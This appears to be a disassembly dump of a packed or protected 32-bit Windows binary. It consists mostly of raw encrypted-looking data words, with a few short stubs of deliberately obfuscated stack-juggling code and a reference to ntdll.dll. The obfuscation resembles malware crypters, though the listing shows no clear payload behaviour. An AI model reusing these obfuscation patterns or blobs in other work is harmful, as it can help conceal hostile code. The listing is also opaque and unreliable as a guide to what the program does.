		dd 5AA60458h, 0DABED41h, 54h, 4065E49h,	0FB8929AEh, 7C76477Ch
		dd 15762DC4h, 0D1F756B4h, 6721C1D2h, 658BEA48h,	0C47C7B42h
		dd 0BA10712Dh, 0ED9A5329h, 851C2DBEh, 0F06AC2C5h, 3D8035C4h
		dd 0AF2DC507h, 6864284Eh, 739942D9h, 0B056679Ch, 35962DC4h
		dd 211FF41Eh, 211837FBh, 44000000h, 34D4065Eh, 1E9F544Fh
		dd 0CE2DC47Ch, 29B60C6Dh, 0C47BC9F4h, 2D83522Dh, 0ED9A5329h
		dd 146868BEh, 0FFFF4218h, 0EC9A44FFh, 434361BFh, 6DCEDDA9h
		dd 545CB10Bh, 4BE28EC3h, 0AF102BC2h, 0AC239E51h, 750E33CAh
		dd 0D4B2D02Eh, 9CCA79D7h, 0E2FEB60Ah, 0A9A749C4h, 48C0AEF3h
		dd 0FC000000h, 7001015Eh, 7B932A5Fh, 0F8592DC4h, 22C2D3D2h
		dd 0C7E54360h, 6187E8BBh, 0C2800E3Eh, 45A3042Bh, 0CA802F92h
		dd 0F5820233h, 0CA7FFDC0h, 2D8EEF33h, 0D3D2B1CFh, 485E0C75h
		dd 2A4C078h, 0F378E50Bh, 0BE82AEh, 9ABE0000h, 4361BFECh
		dd 0E806643Fh, 18A7059Eh, 7232FD81h, 567CD949h,	83E5BEC8h
		dd 752E54F4h, 5ED92C4Fh, 9EE82DC5h, 4624146h, 0C4E244A5h
		dd 318BE9C2h, 0A343D4DCh, 5D6095E0h, 8F2DC556h,	0A8A7CD2Eh
		dd 0C335E573h, 8CEE4F2Bh, 81285DFDh, 757C915Bh,	0F7ACD80Eh
		dd 6FA43596h, 31D3C41Ah, 58F889EAh, 0F917792Ah,	7A295B89h
		dd 275CBD1Ch, 83FF2926h, 31B757B3h, 48000002h, 0E2006241h
		dd 86A406A5h, 2846A8FFh, 0C7E5475Ch, 8B86E8BBh,	0D96ECE2h
		dd 0ACFB8DABh, 4C572C4Ah, 0F1BACCEAh, 84B93A8Fh, 33D0BF39h
		dd 9AE1A5BBh, 932ABBE8h, 0A075C1F4h, 0BFEC9C56h, 4A68385Eh
		dd 0B90D6F3Ch, 7001015Eh, 0C280113Bh, 44A2032Bh, 0CA803091h
		dd 594D6933h, 0F3793CB4h, 0B12BAEh, 9A670000h, 0D261BFECh
		dd 4D45DC3Bh, 94BAB753h, 1C687C06h, 15C82687h, 2DC4F7F0h
		dd 0D5664541h, 5AE7C53Eh, 98BE8D47h, 0CFDCAAC8h, 4342E271h
		dd 81A70664h, 0E89B5AB7h, 6A65588Dh, 26872DC5h,	0A70867C5h
		dd 4977E116h
		dd 0A2392BC3h, 6C92ADDDh, 0A8739966h, 768BE547h, 0EC8C9D2Eh
		dd 0C1E40A99h, 31D31C67h, 0CB6BFC5Dh, 6C8AECB7h, 61588D16h
		dd 0DE83FE88h, 156E282h, 1C6D0000h, 7A0D2B8Dh, 0DAABC92Bh
		dd 394B69CBh, 98EA086Ah, 0C1AEA90Bh, 0CE30730Fh, 69CBD8B0h
		dd 0B6D384Bh, 0A80A99EDh, 209DD253h, 0D433D0C0h, 0E89AFABEh
		dd 4B3B59BBh, 9AAAFE60h, 1D2EBFECh, 0C47BD5E8h,	25B6172Dh
		dd 0C47BCDF0h, 98BE1F2Dh, 0CBD8AECCh, 0B2F20F69h, 7F90EC21h
		dd 1622BC2h, 194E5F70h,	33CA7FA4h, 33C1E748h, 0B6C75853h
		dd 0CA803C81h, 294FB033h, 604B3B59h, 4E552FCFh,	0ED025C28h
		dd 7FDF14A5h, 7531CE55h, 694244E4h, 0CEAA09B4h,	298AEB2Dh
		dd 3430FF4h, 0D070CC84h, 0B4h, 8DEFBECBh, 2B8D186Fh, 0CF31780Dh
		dd 72D4D3B1h, 13752E54h, 9796F18h, 6E1A389Ah, 0C2C1DF41h
		dd 236381E3h, 50D12688h, 0D0BFA21Bh, 783C5233h,	7001015Eh
		dd 0C8515B3Bh, 57E8492Bh, 0EDDD72C0h, 8CB21F0Bh, 0C7E4A2C0h
		dd 0B9EE9636h, 0E1A5C393h, 0D6B164C2h, 0C6435EADh, 13738E18h
		dd 0C1F60798h, 445F65FCh, 99698FF0h, 0A5E10B7Bh, 661CA1D6h
		dd 6FD0445Fh, 0F051B00Eh, 0DAC9BF5Fh, 2BF71D7Ch, 0D230770Dh
		dd 0D42D79A7h, 7997F9B2h, 760D9E0Dh, 7883788Ch,	3F889FF2h
		dd 0A52A30CAh, 0C969355Bh, 10h,	0BACB5AF5h, 0C47C3885h
		dd 1D8CF92Dh, 75395FC0h, 62C0EF9Ah, 0B694244h, 0B10F96EDh
		dd 58B6F593h, 0FD5B483Ah, 0A200A3DFh, 45A30084h, 0E9475E27h
		dd 93F1BCCBh, 0E089501Bh, 405h,	42D00h,	4870000h, 2C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	7497h
		mov	[esp], esi
		push	esi
		push	28AA684Bh
		pop	esi
		shl	esi, 7
		or	esi, 6BF779C9h
		add	esi, 245C72B9h
		push	ecx
		mov	ecx, 61B83C40h
		add	esi, ecx
		pop	ecx
		mov	eax, esi
		pop	esi
		push	39D5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [esi+8]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_54C1AD
; ---------------------------------------------------------------------------
		db 2Bh
		dd 0D240581Ch, 0C45A8B8h, 50C50306h, 1C185C6h, 68470606h
		dd 0CF381725h, 321DB5FFh, 858D0606h, 60639F5h, 0D88BD0FFh
		dd 4C5858Dh, 68500606h,	104h, 85C6D3FFh, 60601C1h, 0F8BF6853h
		dd 0B5FF8307h, 606321Dh, 39F5858Dh, 0D0FF0606h,	2AA38589h
		dd 0BD83060Ch, 6063415h, 0B840F00h, 8B000000h, 60F059Dh
		dd 5E906h, 0BB0000h, 68000000h,	100h, 2AA7B58Dh, 5356060Ch
		dd 1EB195FFh, 0B58D0606h, 60C2AA7h, 1E9F003h, 4E000000h
		dd 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh, 0A7858D00h
		dd 50060C2Ah, 2AA395FFh, 0FF58060Ch, 0ECB969E0h, 3FE13504h
		dd 506DD518h, 4F8F177Bh, 8E839h, 0A0460000h, 77A80216h
		dd 8A60B98Ch, 0F820FD9h, 0E8000000h, 9,	1AA09A9Bh, 4DCF6108h
		dd 5B615B05h, 81FBBF0Fh, 6C3FC3h, 58F85600h, 1AEB68h, 59FE8B00h
		dd 709FB866h, 0BF0F33FFh, 0C2815AC0h, 410B6EFBh, 0DE8h
		dd 15FB7A00h, 39A92E03h, 85EF15CFh, 815781DAh, 6D64E5D0h
		dd 815E5F42h, 5E95DFF2h, 81F88B34h, 0B81761C2h,	0ECF7BE1Bh
		dd 13897EDBh, 7E9h, 933F8F00h, 0DBCC130h, 6604EB83h, 7514EF81h
		dd 0F01E983h, 0FFFFA785h, 26BF66FFh, 7E894h, 3A060000h
		dd 0E15F99C2h, 5ADF8BC6h, 0FE9h, 6316F300h, 0C5891E8Ah
		dd 28C46ADDh, 7A437267h, 5F81C281h, 0EE80000h, 90000000h
		dd 0C9C848EAh, 576A0E37h, 0D956502Dh, 0BE5BFC6Ch, 0
		dd 0FC32048Bh, 0EB32E881h, 0E8810763h, 67F960EFh, 81CBD780h
		dd 0D37ED8C0h, 5850F58h, 66000000h, 2AD4F781h, 138D0F50h
		dd 0E9000000h, 0Eh, 350D0E70h, 88F17311h, 89D623D1h, 48F760Dh
		dd 0DBDB8132h, 804E9F2Dh, 0EE83A5EDh, 8E803h, 0A1440000h
		dd 6C027214h, 4E5B77E7h, 0B6F6D181h, 0FE813BD1h, 0FFFFA128h
		dd 0FF92850Fh, 0EBF9FFFFh, 0B61B9026h, 8EAFEC33h, 64746E55h
		dd 642E6C6Ch, 88006C6Ch, 34074621h, 0F0A3D25Dh,	3D3DB9h
		dd 0
		dd 0E9000000h, 652h, 0C499C68h,	34FFE906h, 5F68FFFAh, 0E9060C4Ah
		dd 0FFFA34F5h, 0C4AE368h, 34EBE906h, 0CA68FFFAh, 0E9060C4Bh
		dd 0FFFA34E1h, 0C4CAF68h, 34D7E906h, 5368FFFAh,	0E9060C4Dh
		dd 0FFFA34CDh, 0AD0F9EEBh, 4BADF88Fh, 0EF51582Dh, 92F4B3D1h
		dd 33950E74h, 0E9994F38h, 4E3A58BAh, 0A2E1FF61h, 383A103h
		dd 70F146A8h, 0D0C4823Bh, 985C7233h, 1A18h, 89294400h
		dd 0EE4DABFAh, 5F4C3AC8h, 8A3E301h, 7BCEF3A6h, 20632DC4h
		dd 5ECF2385h, 3B700101h, 2BC267FDh, 992886E7h, 986A5388h
		dd 0BEC733CAh, 3298AE7h, 0CA97E1E0h, 0A9CB833h,	0F390ED03h
		dd 21C7AAEh, 29B60000h,	163F5992h, 0DFA31CBBh, 0C13D63C4h
		dd 3C44997Fh, 570A76ABh, 87E82BC3h, 0B9E0B0D3h,	0BED3EFF1h
		dd 88B0E576h, 7AEDEAE1h, 0C61BB19h, 1624145h, 68DA3B70h
		dd 0FF96EFFBh, 4C203A0Fh, 0E4AFD5A8h, 0ACE1F283h, 0EFEBE811h
		dd 5D5C82E3h, 6C1BC9BDh, 427BB041h, 0B2EFEBE8h,	708EF051h
		dd 122BD716h, 16EB0FA4h, 0E0D680B5h, 2581C1E5h,	47085h
		dd 1C8BFE00h, 0C0EB9CBAh, 5E45405Eh, 1A6DEFCh, 0A201819Fh
		dd 0A6B84540h, 4765C7DCh, 0E2006241h, 82A002A1h, 0F045A704h
		dd 0C5833A6Fh, 536933D0h, 0BFEC9A8Fh, 0AAEA0761h, 6778E419h
		dd 0AF462BC2h, 0E05250D9h, 24EF1520h, 2635310Dh, 0E54684DFh
		dd 4FC97783h, 0C57E3C32h, 6EEDF1F1h, 0CF13541Ch, 74D53649h
		dd 0A4D2AEE3h, 3FA031C8h, 0EDCE688Bh, 0E805B559h, 0D10617A8h
		dd 0C6620DECh, 7A799F00h, 0EAB9C969h, 8DEBB8CAh, 53E5082Eh
		dd 81C45FF9h, 0B68C220h, 0D0457A0Bh, 0C4CA6890h, 5432D263h
		dd 55B6ED98h, 7A712DC4h, 443CA3E6h, 22222281h, 6C92F3FBh
		dd 9B087E9Ch, 7AC9BE66h, 0A545A1EBh, 3ADh, 0FD5F4E3Bh
		dd 9BFDA8DFh, 3FA1087Dh, 0E2446321h, 83E5BEC4h,	99E9FF88h
		dd 0FE8AA80Ah, 52314FB1h, 0B3D3F153h, 0C04196F8h, 0D0C6328Bh
		dd 0E8ACC233h, 61BFEC9Ah, 19AAEA07h, 0C264B0E4h, 0DF41A22Bh
		dd 97286885h, 0CE538F62h, 94F19131h, 3258B715h,	0D5750667h
		dd 7290F2B1h, 0AA399714h, 0D3596499h, 3A9B2DCEh, 0ED354A14h
		dd 0DBAB4B5Ch, 0D1327111h, 0BD3C88ABh, 4DAE2BCCh, 143FA18h
		dd 0C969C57Eh, 329h, 71D3D2B7h,	17793453h, 0BB1D8CF9h
		dd 5EC0E79Dh, 0FF614240h, 1D657B04h, 82062486h,	0DEA5C325h
		dd 3F4765C7h, 2CAD0264h, 0D0C5C6F7h, 4C102633h,	6409EC9Ah
		dd 0BA140977h, 46DD6ECFh, 0EC0BD264h, 21ED13A8h, 0D96AAAC7h
		dd 0C30B38A4h, 0DAA3BA2Bh, 8C878B00h, 70CED5AFh, 0ED4FB011h
		dd 1B34Dh, 99AC7900h, 9122627Fh, 0C27B245Ch, 0D7A1A2Bh
		dd 0CAE1409Eh, 4F5080DFh, 0C590B6BEh, 748DB064h, 81DEFE8Eh
		dd 0F393246Ch, 56B51392h, 78FC3130h, 361EFD56h,	90B6ED96h
		dd 0BEFF34C5h, 2E230168h, 0B57AB6CDh, 4CA1A1EDh, 0DE338DEBh
		dd 51045D6h, 0C321096Ch, 0E8466523h, 37986389h,	648006A6h
		dd 0CC2B8922h, 697A096Bh, 0F98C8934h, 3A4B6B20h, 98EA0A6Bh
		dd 284EAD0Bh, 8ABFEC9Ah, 90D87C7Eh, 422DCD29h, 0D0000002h
		dd 6A88EAB9h, 0E2C8E1Dh, 0B0CE3077h, 4F6DCFD4h,	130E7033h
		dd 950E746Ah, 34731533h, 0D4CFB4D2h, 79325472h,	0C41C217h
		dd 33D0C6B1h, 9A692D43h, 635A8FECh, 892DC47Ch, 0F69C728h
		dd 0EC21B2F2h, 2BC26770h, 0F3FF61C2h, 3AAAC751h, 0CA97B805h
		dd 7ADB3C33h, 6D3C49E9h, 8B8AB00Fh, 0C8972A56h,	56E74831h
		dd 75D3D0B6h, 0B37E3860h, 0F253D12Ch, 1387AACCh, 0E5A32626h
		dd 1363D45h, 0BCA5F5BCh, 106ECF30h, 0ACC18BB1h,	67C8DFA5h
		dd 0DAD3A1D6h, 0F209BAA3h, 317E7281h, 0CABCDC57h, 0C82280E1h
		dd 43DA6BABh, 0CD830FE2h, 0EFEE1420h, 0B4835BBAh, 8BC051B4h
		dd 0BCB37732h, 0C01E85FFh, 42A30461h, 8809A0B1h, 20F0A5E0h
		dd 0F77052Bh, 3A33294h,	66C52382h, 0D7D4B240h, 1EFFA0A2h
		dd 4BEB47F5h, 15Dh, 0AD0F9EEBh,	4BADF88Fh, 0EF51582Dh
		dd 92F4B3D1h, 33950E74h, 0E9994F38h, 4E3A58BAh,	0A2E1FF61h
		dd 383A103h, 70F146A8h,	0D0C8823Bh, 985C7233h, 61BFEC9Ah
		dd 19AAEA07h, 861D6808h, 80A3C928h, 2BC26514h, 0EF43A506h
		dd 7001015Eh, 0C834BC3Bh, 0B647A82Bh, 0D1337016h, 47D8D3B3h
		dd 0CEBD5DB0h, 7F96246Fh, 16653BF4h, 9B678DE1h,	53E42C41h
		dd 0D4DDEB1Eh, 27B81931h, 42A4FF87h, 0EB496224h, 0DDC6BC5Ch
		dd 6090EDB7h, 0C55E922Bh, 0A001622Dh, 3366DA0Fh, 2B8C2BC3h
		dd 6C4F6F6h, 0CD6DC97Eh, 0B9h, 1634247h, 0A709A4E3h, 4BADFC89h
		dd 0EE50572Dh, 8FF1B2D0h, 8DF5EB94h, 0F296B416h, 4E3553B5h
		dd 0AFD7F557h, 0BC3D92F4h, 0D0C93687h, 0DCA0B633h, 7001015Eh
		dd 0C834E43Bh, 116FD02Bh, 871893F3h, 9FA4ACF0h,	0A4CAC65Bh
		dd 0E1A545D4h, 0C6E5A2C2h, 377412A0h, 697F06A6h, 0D1308E1Dh
		dd 88FD1270h, 0CE779DEEh, 4B173D9Eh, 27F0798h, 4B5B091Dh
		dd 0C8DFA545h, 397214A2h, 0DECDB9D7h, 55226280h, 1829D20h
		dd 592F4F6Bh, 2C8DEC4Ah, 14426DCBh, 2A5EFE92h, 89CAE0C7h
		dd 0F455ED8Eh, 6B173796h, 2841238h, 0BFB14EF3h,	92F319ACh
		dd 37741230h, 339D9h, 5A650000h, 0C0EF9A06h, 69424462h
		dd 0F96ED0Bh, 0B6F593B1h, 5B483A58h, 0A3DFFDh, 0A30084A2h
		dd 475E2745h, 0F1BCCBE9h, 89571B93h, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 240C895Ch, 7F1868h,	243C8900h, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0B9512434h, 1F454811h
		dd 0F741D1F7h, 0BEC181D1h, 8113B064h, 0CC7B34E9h, 89F1813Dh
		dd 8145405Eh, 0A2D99CC1h, 59CF8955h, 24348B54h,	4C481h
		dd 89520000h, 85689FAh,	8324148Bh, 34FF04C4h, 0C4815E24h
		dd 4
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54C1AD
; ---------------------------------------------------------------------------
		dd 31B87441h, 3060C4Eh,	27E0FFC5h, 722C0B8h, 617DCD49h
		dd 8C750D8Fh, 0C36BF430h, 5D3E819Eh, 777851FFh,	2B227247h
		dd 0A3210215h, 0A6308379h, 5B48F9E4h, 0F75AB230h, 365F069Dh
		dd 4A27BA88h, 0FC426751h, 5751F52Bh, 5F661EFAh,	0E8248B81h
		dd 7, 0F9312C7Ch, 5F81A549h, 6572C781h,	0BF0F0000h, 1935BAF2h
		dd 8BF90000h, 0EE90Fh, 43780000h, 2B388238h, 8F7EDA2h
		dd 0F0486254h, 0D4E6C181h, 0FE95E90h, 0EF000000h, 0D70CDFB0h
		dd 308D88BDh, 6382657Bh, 0F181C9D6h, 42C499B2h,	81FBD780h
		dd 87DCD3C1h, 7AFBBE4Ah, 0F89057Fh, 836BC080h, 83FC04EFh
		dd 850F01EAh, 19h, 31E9h, 99A8A400h, 0E27CC865h, 8ABC08EFh
		dd 0CEE74DD1h, 5F3D36E0h, 890F6065h, 3,	8BDDED80h, 80E961F0h
		dd 4AFFFFFFh, 2037FB4Ch, 0C64F92CFh, 8EB4E1Bh, 0
		dd 6AFB6AF1h, 4BBE9h, 509F6800h, 0AAE9060Ch, 68FFFA2Dh
		dd 60C511Bh, 0FA2DA0E9h, 528568FFh, 96E9060Ch, 0B4FFFA2Dh
		dd 5674D6D5h, 0F2107231h, 94B21493h, 3351B3F0h,	0F7F2544Fh
		dd 792A580Eh, 208FF917h, 0C0E3A0BEh, 5D46405Eh,	0F025A6FBh
		dd 33D0CACDh, 9A45091Fh, 3F5DBBE8h, 0A0FA5C47h,	7DB24343h
		dd 2BC24BABh, 27DA3899h, 33CAAC9Ah, 226000FFh, 0A4C42381h
		dd 766C4DFh, 2CE1C5E1h,	0AEF3A6C4h, 2D1A3h, 8FACDF00h
		dd 9B2C7489h, 0E9DEA8Ah, 0AC0A99EEh, 7C04274Dh,	762BC27Ah
		dd 0DA3E6115h, 0C9D6A71Fh, 0A6DB6CB4h, 2725B10Eh, 0B98F090h
		dd 5D284EADh, 2F449EFCh, 6B2156E7h, 61292797h, 0B7CF6F00h
		dd 0CDBB5BECh, 0FB2180DEh, 2A790D2Bh, 0AA27A0F5h, 61015D88h
		dd 332h, 0BD1F8EFBh, 5BBDE89Fh,	0FF61483Dh, 0A204A3E1h
		dd 43A5FE84h, 0D9A9BF48h, 3E4A68CAh, 92F10F71h,	0F393B113h
		dd 800156B8h, 0D0CC724Bh, 0A86C8233h, 7001015Eh, 0C8351B3Bh
		dd 17A8092Bh, 0BE3AAD80h, 385EEA37h, 0FD882839h, 90F280A6h
		dd 0EF93B113h, 7A4E484h, 28954AA9h, 0CC33D12Eh,	1DAC0A6Bh
		dd 0ADAEBA86h, 0EB11D3EAh, 4830CAC8h, 1A89FDD8h, 1A409AE5h
		dd 0C767C38Ah, 2B6h, 399B0A7Fh,	0DF416C1Bh, 83E5C4C1h
		dd 26881F65h, 0C7297A08h, 552D23CCh, 0BACEEC4Eh, 166D8BEDh
		dd 770F2D8Fh, 0F475CA2Ch, 0D0CCFEBFh, 14D8EE33h, 7001015Eh
		dd 0C5EBB8D0h, 34C591C6h, 0DA3B2BC8h, 0CAF8C97Ch, 85A133D0h
		dd 0C804EC21h, 0AB63AEF9h, 9F000001h, 0DAE31829h, 1A2DC47Bh
		dd 810593B9h, 94F19122h, 523EF15h, 66C02281h, 43780909h
		dd 2BC24C2Dh, 9E35C627h, 493AEE2Ch, 63C0435Ah, 7225F117h
		dd 33CAB84Fh, 1B44B4Ah,	327A8229h, 3D6985ABh, 0F46C20D0h
		dd 5447AEh, 5E830000h, 5F700101h, 965C0CC8h, 0FB5AB8EFh
		dd 0FAE7A3E4h, 579BB1D4h, 0BD5D2BC3h, 0E9B4DAC9h, 86BBBAC9h
		dd 33CB5837h, 9DFB5CBDh, 409E057Fh, 266080E1h, 0BBE1C7Dh
		dd 33CB57B6h, 42A00B7Bh, 0EA486324h, 0C3FDA9C7h, 56B7EF0Bh
		dd 0AEF4519Ah, 0BFCDh, 0EC9A0900h, 0C3218200h, 16A50364h
		dd 7BEDD005h, 96CB2DC4h, 2DC47C27h, 0AE0F6CCDh,	1B88FA88h
		dd 0BCE79FBDh, 5D46405Eh, 3786BBCCh, 0FA2DC47Ch, 5FC01D8Ah
		dd 0BDB66939h, 0F02DC47Fh, 51AB0D96h, 584F353Ch, 523166F7h
		dd 0F22BCCD9h, 2711ACE1h, 0C3E333CDh, 5B81E2C1h, 0FE9E2F90h
		dd 61C01E85h, 0E69C3C3Bh, 0FB8C2CBDh, 9CBA8AB0h, 3F88BDE6h
		dd 0DC7E04E8h, 14CE080h, 74150000h, 0D2B5D335h,	325371D3h
		dd 91F31173h, 0F092B012h, 0A95651B3h, 76D8CBB7h, 11733058h
		dd 0B31590F3h, 50B2F195h, 78457AFBh, 7C33D0CEh,	0E89AA266h
		dd 0B9CA59BBh, 883D6C19h, 2DC47C35h, 0A23056B7h, 1165C7E4h
		dd 61BFEC9Ah, 595632D2h, 0E8769CFBh, 49A3059Eh,	265BEC34h
		dd 2BC23549h, 0F5952687h, 7485168Dh, 0CACA7E3Fh, 0E70D6E33h
		dd 0CA5D6417h, 0B2D433CAh, 0F70897F9h, 0CA0CB1E6h, 7FE033CAh
		dd 0CAC9F3CAh, 7298F933h, 0A7059EE4h, 0B907h, 15E3300h
		dd 0B6D07001h, 0A308FEDh, 347CD60Bh, 52722BC8h,	0BA187936h
		dd 5FC1EA9Ch, 338ABFD0h, 0B933D0CBh, 5FC0EF99h,	3036848h
		dd 4B71B4AAh, 49DAC9BDh, 0AAD0DFA9h, 4AC92BDEh,	46D7473Fh
		dd 0E7D976AFh, 6389341Ah, 91315F47h, 391B7F6h, 972883h
		dd 0C8B5A4BAh, 0FDCDF367h, 9EFCA7DFh, 0A4E00480h, 0E142A1FFh
		dd 881F6583h, 2C770C2Ah, 0B5F11FCEh, 4DAB9855h,	88E91F82h
		dd 4394A5Bh, 98C05BB9h,	3B6A1B3Bh, 0B597C3DAh, 99856818h
		dd 0B24F5773h, 5775D7D4h, 0E4A4442Fh, 550A69C7h, 98BFA568h
		dd 6CCA2B8Ch, 0DCCh, 0CB5AF800h, 7C3885BAh, 5BBC2DC4h
		dd 0EF9A7135h, 424462C0h, 96ED0B69h, 0F593B10Fh, 483A58B6h
		dd 0A3DFFD5Bh, 84A200h,	5E2745A3h, 0BCCBE947h, 571B93F1h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 0C895C24h,	0E7895724h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 68241489h,	4B02h
		dd 50242C89h, 993D7EB8h, 1268BA36h, 0C201CF73h,	8324048Bh
		dd 6D6804C4h, 89000009h, 4832424h, 535D0424h, 8153D389h
		dd 31FE2404h, 458F01D3h, 86D8108h, 1D331FEh, 2434FF5Bh
		dd 4C4815Dh, 0FF000000h, 815A2434h, 4C4h, 2903E900h, 0B16BFFFAh
		dd 0EDFC08AFh, 0A57A7A61h, 0C53F6B8h, 0FFC50306h, 7E86DEE0h
		dd 0B9FCEF06h, 0D7D2743Dh, 4DEBFE59h, 7DD7A43Ah, 368C294Eh
		dd 82E2F61Fh, 8E9B201h,	0BE877h, 13E80000h, 8F1AF1F5h
		dd 0FB8506D7h, 9919BA6Eh, 815F2A43h, 5FBCC7h, 0B95A5700h
		dd 0
		dd 0B8A0Fh, 6E90000h, 0F9000000h, 3FD32499h, 0F048BB7h
		dd 319AC4BBh, 0D7C08129h, 80169E5Ah, 0E881B3DFh, 5834D38Dh
		dd 70EBA1BBh, 35E88105h, 8120F0F5h, 3D15E3EBh, 8166502Ch
		dd 8F627AE6h, 860F0F04h, 0Ah, 4850Fh, 0BA660000h, 0E9839705h
		dd 81D38B04h, 0FFA0F0F9h, 18850FFFh, 0E9000000h, 8, 3326198Dh
		dd 66E1FFA7h, 1DE9h, 0CF2B8300h, 0E9EFFAF7h, 6,	71A91689h
		dd 86E980B4h, 81FFFFFFh, 7985EC36h, 0E8538A14h,	565DB13Eh
		dd 0EEACF532h, 5655F501h, 56ABB132h, 0D7D5B132h, 82EAEB39h
		dd 5675EA3Dh, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h
		dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h
		dd 545DB132h, 81AEB132h, 5257B635h, 44ABAB32h, 4DD5A232h
		dd 56E87C32h, 5677F932h, 7DB8F932h, 303DE3F2h, 952576B9h
		dd 666BE53h, 59CAD160h,	5987E103h, 0CB2EB03h, 62DEB6Ah
		dd 56BAB9DBh, 68A47132h, 1C1B5DADh, 0BF052789h,	56ABB13Bh
		dd 4606733Fh, 6AC5BF3Bh, 3644BEF7h, 0CE2EB53h, 4C98226Ah
		dd 0CF6EB79h, 726B386Ah, 36F9E162h, 886D052h, 6DBBE53h
		dd 5927E160h, 59E2EB03h, 0C3CD103h, 0C5F6EB6Ah,	0AB031654h
		dd 0AF6BF2C0h, 0E3392E0Ch, 0BF770A78h, 5675B139h, 0F4D735A5h
		dd 0B8344101h, 378BADBDh, 5657BFA1h, 3AB40F32h,	0EEE7B07h
		dd 52FD2783h, 0CBC693DFh, 372AD06Ch, 0DC3D803Dh, 59472DD5h
		dd 9D57B132h, 0F1CD709Ah, 15274C66h, 0C9D448F2h, 0D71304DEh
		dd 0BFCC69E4h, 565DB134h, 3B2A2624h, 37CA8290h,	1222E968h
		dd 485B516h, 56E75952h,	90D4B132h, 46705B5h, 0C8849111h
		dd 0E3BFD4Dh, 5657B7DBh, 0B2DCC732h, 37C6B37Fh,	4203803Dh
		dd 2A75B132h, 3E31EB37h, 423A97B3h, 0D6AD038Fh,	0FA084F8Bh
		dd 0CD0BB47h, 56D5E96Ah, 56EAB132h, 5675B132h, 56BAB132h
		dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h
		dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h
		dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h
		dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h
		dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h
		dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h
		dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h
		dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h
		dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h
		dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h
		dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h
		dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h
		dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h
		dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h
		dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h
		dd 56ABB132h, 56D5B132h, 36EAB132h, 5675B1DAh, 0BC3BEB32h
		dd 5051E912h, 91FE34BFh, 0D4DEB739h, 50A7E444h,	9D7633BFh
		dd 0D463B73Eh, 5079E448h, 56B3FFDAh, 56265932h,	0D469B132h
		dd 505BE454h, 56ABB132h, 97507760h, 0ECB733h, 0FECDE35Ah
		dd 8B0F4EAEh, 0DB5BB729h, 5FD4CDB7h, 0DF874E34h, 50ABF4B7h
		dd 3ED1DB34h, 56EAA132h, 5578F15Ah, 0A9BADB32h,	9656EBE2h
		dd 0D4278246h, 505BE454h, 3C133BBh, 166CB73Eh, 0DDEAB23Fh
		dd 0A5B582CAh, 52D0E398h, 564DB15Ah, 52AED932h,	563DB132h
		dd 56EE23CDh, 0DF8FB734h, 5ABF0BB0h, 0D3FED034h, 50B6E454h
		dd 0D49AD1F1h, 50A8A5F3h, 5617B132h, 56BA33F5h,	46D5B734h
		dd 958BB132h, 30CF3A52h, 0D5BCBD67h, 7529B10Dh,	54BECEB1h
		dd 29D4BA46h, 58DFB522h, 0BDC176B1h, 46AD76D8h,	5675B133h
		dd 117D43D9h, 565DB222h, 37475A32h, 0BADCE4F1h,	56AB5952h
		dd 0D78FB132h, 5AB3A4D8h, 0E8C73A34h, 0DDBCBD67h, 50D4B977h
		dd 31033B1h, 3753B73Eh,	56AF73FBh, 56D55952h, 0D7B0B132h
		dd 5A2C88D8h, 0EC083A34h, 6D5BBD67h, 5AFB0F80h,	0DD6CC534h
		dd 59743A0Ch, 0A0D4FE84h, 236AB075h, 0BDACB236h, 15639A30h
		dd 9BD83A71h, 0DDA8B733h, 50751CBFh, 24738A34h,	210C8A3Bh
		dd 522C3237h, 994E78D9h, 0EB33B946h, 505B939Fh,	95CF06D9h
		dd 56575952h, 0D7F1B132h, 5A8C20D8h, 0EC503A34h, 0EF73BD67h
		dd 56BAB032h, 0FDAE7101h, 31433B9h, 0D4DEB73Eh,	50A7E48Ch
		dd 0BEB57253h, 56EAB132h, 0ED9F3068h, 90BCBD6Bh, 505C70B7h
		dd 6FC6E734h, 0A983AE5Fh, 50B06C87h, 2A503C34h,	0A9ECB848h
		dd 3E25E3E2h, 56BA3132h, 0E4A2B158h, 50A2E454h,	0C0F61CDh
		dd 562BB15Ah, 0A9D5DB32h, 5ABF0B80h, 37A54E34h,	0BA31E4F1h
		dd 565D5952h, 0D7F4B132h, 5A0DB8D8h, 5EDE3A34h,	56D729DAh
		dd 0C415E432h, 5079E444h, 5ACF8A6Fh, 0D0B55F47h, 37AEB130h
